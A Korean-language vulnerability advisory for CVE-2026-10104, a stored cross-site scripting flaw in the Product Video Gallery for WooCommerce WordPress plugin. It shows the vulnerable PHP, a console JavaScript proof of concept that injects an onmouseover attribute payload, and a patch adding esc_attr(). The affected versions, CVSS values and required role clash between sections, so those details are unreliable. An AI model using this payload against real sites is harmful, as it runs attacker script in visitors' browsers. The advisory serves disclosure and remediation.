
Product Video Gallery for Woocommerce <= 1.5.1.8 - Authenticated Stored Cross-Site Scripting Proof of Concept
| 세부 사항 | 값 |
|---|---|
| CVE ID | CVE-2026-10104 |
| 플러그인 | Product Video Gallery for WooCommerce |
| 공급업체 | TechnoSoft Webs (NikHiL Gadhiya) |
| 유형 | 저장형 크로스 사이트 스크립팅 (XSS) |
| CWE | CWE-79 — 웹 페이지 생성 중 입력 값의 부적절한 중립화 |
| CVSS 3.1 | 4.4 (중간) |
| 영향을 받는 버전 | ≤ 1.5.1.6 |
| 수정된 버전 | 1.5.1.9 |
| 인증 필요 | 예 — Contributor+ (제품을 편집할 수 있는 모든 역할) |
| 발견자 | Ravindu Lakmina Munaweera |
WordPress용 Product Video Gallery for WooCommerce 플러그인 (버전 1.5.1.6 이하)은 custom_thumbnail 제품 메타 파라미터를 통해 **저장형 크로스 사이트 스크립팅 (XSS)**에 취약합니다.
플러그인의 save_wc_video_url_field() 메소드는 custom_thumbnail[] POST 파라미터를 sanitize_text_field()로 살균하는데, 이 함수는 HTML 태그는 제거하지만 큰따옴표(") 문자는 제거하지 않습니다. 프론트엔드에서 저장된 값은 nickx_get_video_thumbanil_html()에서 esc_attr() 이스케이핑 없이 `` 태그의 속성에 직접 삽입됩니다. 이를 통해 인증된 공격자는 영향을 받는 제품 페이지를 보는 모든 방문자(인증되지 않은 사용자 포함)의 브라우저에서 JavaScript를 실행하는 임의의 HTML 이벤트 핸들러 속성(예: onmouseover, onerror)을 주입할 수 있습니다.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
파일: public/class-rendering.php
메소드: nickx_get_video_thumbanil_html()
// 365번째 줄 — esc_attr() 없이 값이 삽입됨
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
: '';
// 379번째 줄 — 공개 프론트엔드에서 태그 내부에 렌더링됨
echo '';
파일: admin/class-video-field.php
메소드: save_wc_video_url_field()
// 309-310번째 줄 — sanitize_text_field()는 태그를 제거하지만 큰따옴표는 제거하지 않음
if ( isset( $_POST['custom_thumbnail'] ) ) {
update_post_meta( $post_id, '_custom_thumbnail',
array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}
Shop Manager(공격자)로 로그인합니다.
Products → Edit로 이동하여 "Product Video Url" 필드에 동영상 URL이 설정된 제품을 선택합니다.
브라우저 개발자 도구 (F12)를 열고 Console 탭으로 이동합니다.
다음 JavaScript를 붙여넣고 실행합니다:
const form = document.getElementById('post');
// 썸네일 ID를 비어 있지 않은 값으로 설정 (렌더 조건에 필요)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }
// custom_thumbnail을 통해 XSS 페이로드 주입
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
"Update" 버튼을 클릭하여 제품을 저장합니다.
시크릿/개인 창(인증되지 않은 상태)에서 프론트엔드 제품 페이지를 엽니다.
제품 갤러리에서 동영상 썸네일 위로 마우스를 가져갑니다.
✅ JavaScript 경고창이 실행되며 저장형 XSS가 확인됩니다.
주입된 "는 custom_thumbnail 속성을 닫고, onmouseover가 `` 요소의 새로운 실행 가능한 속성이 됩니다.
사용자 정의 썸네일 값을 HTML 속성에 삽입하기 전에 esc_attr()를 적용합니다:
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
- ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
- : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
+ ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"'
+ : '';
이 동일한 수정은 nickx_get_video_thumbanil_html()에서 $custom_thumbnail이 구성되는 모든 인스턴스(배열 및 비배열 코드 경로 모두)에 적용되어야 합니다.
| 날짜 | 사건 |
|---|---|
| 2026-03-20 | 취약점 발견 |
| 2026-03-20 | Wordfence (CNA)에 보고 |
| 2026-05-29 | CVE ID 할당: CVE-2026-10104 |
| 2026-07-01 | 공개 공개 |
본 권고는 CC BY 4.0에 따라 배포됩니다.
| 메트릭 | 값 |
|---|
| 공격 벡터 | 네트워크 |
| 공격 복잡도 | 낮음 |
| 필요 권한 | 낮음 |
| 사용자 상호작용 | 없음 |
| 범위 | 변경됨 |
| 기밀성 영향 | 낮음 |
| 무결성 영향 | 낮음 |
| 가용성 영향 | 없음 |